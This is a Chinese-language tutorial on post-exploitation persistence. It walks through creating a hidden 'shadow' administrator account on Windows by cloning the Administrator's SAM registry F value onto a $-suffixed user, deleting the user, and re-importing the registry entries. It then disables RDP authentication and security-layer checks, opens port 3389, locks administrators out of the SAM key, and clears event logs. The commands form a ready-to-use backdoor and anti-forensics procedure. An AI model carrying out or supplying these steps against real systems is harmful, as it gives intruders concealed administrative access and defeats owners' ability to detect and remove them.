后渗透之权限维持 -- 隐藏用户的创建和使用
字数 1390 2025-08-05 08:18:04
后渗透权限维持:隐藏用户(影子用户)的创建与使用
0x00 前言
在渗透测试过程中,获取目标主机权限后常需要通过远程桌面(RDP)查看有价值信息。但常规登录会留下痕迹,即使事后清理也存在风险。本文介绍通过创建隐藏用户(影子用户)实现权限维持的方法,最大程度减少登录痕迹。
0x01 隐藏用户创建与利用
基本概念
Windows系统中,用户名以"$"结尾的用户在net user命令中默认不显示,利用这一特性可创建隐藏用户。
利用条件
- 已获得管理员权限
- 已获取cmd shell等shell环境
操作步骤(以Windows10为例)
1. 创建隐藏用户
net user admin$ 123456 /add # 创建用户admin$,密码123456
net localgroup administrators admin$ /add # 将admin$加入管理员组
执行net user查看用户列表,admin$不会显示,但在"控制面板 > 管理工具 > 计算机管理 > 本地用户和组"中仍可见。
2. 修改注册表提高隐蔽性
-
打开注册表编辑器(regedit),定位到
HKEY_LOCAL_MACHINE\SAM\SAM -
右键SAM项,选择"权限",将Administrators组权限设置为"完全控制"
-
展开SAM项,现在可以看到隐藏的子项:
SAM\Domains\Account\UsersSAM\Domains\Account\Names
-
找到Administrator用户和admin$用户的注册表项:
- 记录Administrator的F值(二进制数据)
- 找到admin$对应的项
-
将admin$的F值替换为Administrator的F值
-
导出Users和Names下admin$的注册表项(备份)
-
删除admin$用户:
net user admin$ /del
- 重新导入之前备份的注册表项
完成以上操作后,admin$用户将:
- 不会在
net user中显示 - 不会在计算机管理工具中显示
- 仍可使用密码通过RDP登录
- 具有管理员权限
3. 解决RDP登录问题
在RDP登录界面需要手动添加admin$用户:
- 点击"其他用户"
- 输入用户名"admin$"和密码
- 成功登录后拥有与Administrator相同的权限
0x02 细节拓展:RDP鉴权设置
关闭用户鉴权模式
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
- 0表示关闭鉴权
- 1表示开启鉴权(默认)
关闭安全层验证
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0
- 0表示使用RDP协议验证(关闭验证)
- 1表示两端协商验证(默认)
- 2表示使用TLS协议验证
开启远程桌面连接
- 配置防火墙允许RDP:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- 通过注册表允许远程连接:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /D 0 /f
完成以上设置后,RDP将:
- 不需要输入正确凭证即可进入登录界面
- 直接显示目标系统的锁屏界面
0x03 思路拓展
方法一:利用Guest账户
- 开启Guest账户
- 修改其注册表F值为Administrator的F值
- 使用Guest账户登录,减少关注
方法二:预添加授权用户
在"选择用户"设置中预先添加所有已知用户,防止管理员过早发现影子用户
增强隐蔽性技巧
- 对注册表SAM项的System和Administrators权限设置"拒绝访问",防止管理员删除用户
- 注意:此操作不可逆,需谨慎
- 定期清理事件日志
- 使用非常规用户名,避免引起怀疑
注意事项
- 修改注册表前务必备份
- 拒绝权限设置不可逆,操作需谨慎
- Windows不同版本可能有差异,需测试验证
- 在实战中需结合其他痕迹清理技术
- 长期权限维持建议结合多种技术
通过以上方法创建的影子用户具有高度隐蔽性,可有效实现后渗透阶段的权限维持,但需注意操作风险和对系统可能造成的影响。